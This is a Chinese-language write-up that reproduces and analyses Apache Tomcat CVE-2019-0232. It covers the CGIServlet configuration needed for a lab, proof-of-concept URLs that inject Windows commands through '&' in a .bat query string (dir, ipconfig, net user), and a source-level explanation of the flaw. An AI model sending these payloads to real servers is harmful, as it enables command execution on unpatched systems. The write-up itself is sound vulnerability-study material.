Tomcat CVE-2019-0232 Rce 漏洞复现&分析
0x01 前言
这个漏洞的存在有几个前提条件:
1、开启CGIServer
2、存在xxx.bat
3、版本限制
0x02 环境搭建
该漏洞的影响范围为
- Apache Tomcat 9.0.0.M1 to 9.0.17
- Apache Tomcat 8.5.0 to 8.5.39
- Apache Tomcat 7.0.0 to 7.0.93
环境相关:
OS: windows10
WebServer: apache-tomcat-8.5.2-windows-x64.zip
Jdk: jdk-8u20-windows-x64
(1)修改web.xml,启用CGIServlet
web.xml位置位于apache-tomcat-8.5.2\conf\web.xml,
以及添加以下内容
具体内容贴在这里
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
以及
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
在目录apache-tomcat-8.5.2\webapps\ROOT\WEB-INF下创建cgi-bin目录,且创建一个bat,内容随便,这里为
echo 123
切到tomcat的bin目录启动tomcat
catalina.bat start
访问8080端口可以看到tomcat首页。
0x03 漏洞复现
poc:
http://localhost:8080/cgi-bin/1.bat?&dir
http://localhost:8080/cgi-bin/1.bat?&C:\Windows\System32\ipconfig.exe
0x04 漏洞分析
可以直接参考这篇文章,文章讲得非常清晰
https://xz.aliyun.com/t/4875
这里做个简要的补充,CGIServer的核心代码在于这里tomcat\java\org\apache\catalina\servlets\CGIServlet.java
先提前把结论说一下,该漏洞主要存在问题在于CGIServlet中对cgi-bin的请求的调用使用的是Runtime.getruntime.exec(String[] args)的方式进行命令执行。
正常的linux的tomcat请求中若携带的请求a.sh?&dir,则exec执行的时候dir只会被当成字符串参数。但是在windows中的该版本的a.bat?&dir下会被&dir回被当成a.bat&dir进行命令执行。
这是因为runtime.getRuntime.exec在linux和windows中的底层实现方式不一样。
(1)配置文件分析
从整个流程来分析,首先从配置文件看起,conf/web.xml
我们配置了一个servlet
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
可以简单查看其中的关联
所以上面的配置当我们访问/cgi-bin/*的时候则数据流指向org.apache.catalina.servlets.CGIServlet,而在编写servlet时,得继承servlet类,并重写相应的方法。如doGet和doPost方法等等,doGet方法顾名思义,其方法主要是处理get请求的数据。
重写doGet方法
(2)doGet方法分析
从poc分析得知,该poc是通过get方法进行执行的,因此我们直接跟踪上面的doGet方法,可以看到通过run方法进行调用bat文件
跟踪run方法
其command和params都是通过req进行获取,这里不详细展开了
从cgi环境对象中获取信息
(3)CGIServlet分析
从上面截图的关键点中我们发现cmdAndArgs在两次添加完数据之后,传给runtime进行执行。在执行之前该数组变量的内容为
其中command和params
cmdAndArgs.add(command);
cmdAndArgs.addAll(params);
command是cgi-bin后面紧跟的bat后缀文件名,params为参数,其两者赋值是从上面两张图中的cgiEnv.getParameter()中进行取值的。
cmdLineParameter添加命令行参数
但如果传入的payload是
http://localhost:8080/cgi-bin/1.bat?&C%3a%5cWindows%5cSystem32%5cnet+user
则cmdLineParameter的值为
{"C:/Windows/System32/net","user"}
因为第785行,将字符串通过”+“进行分隔操作。
所以最终cmdAndArgs参数的值为
{"1.bat","&C:/cWindows/System32/net","user"}
(4) 漏洞点
主要漏洞点在于runtime.getRuntime.exec()的底层调用,linux跟windows的底层实现不一样,windows会把后面所有的参数当成命令执行,以及&符号直接做拼接。windows会执行&符号后面的命令
而linux则直接当成参数当成参数而不是简单的拼接,可以看到ifconfig并没有被执行。
0x05 参考
https://blog.csdn.net/chuang504321176/article/details/53319377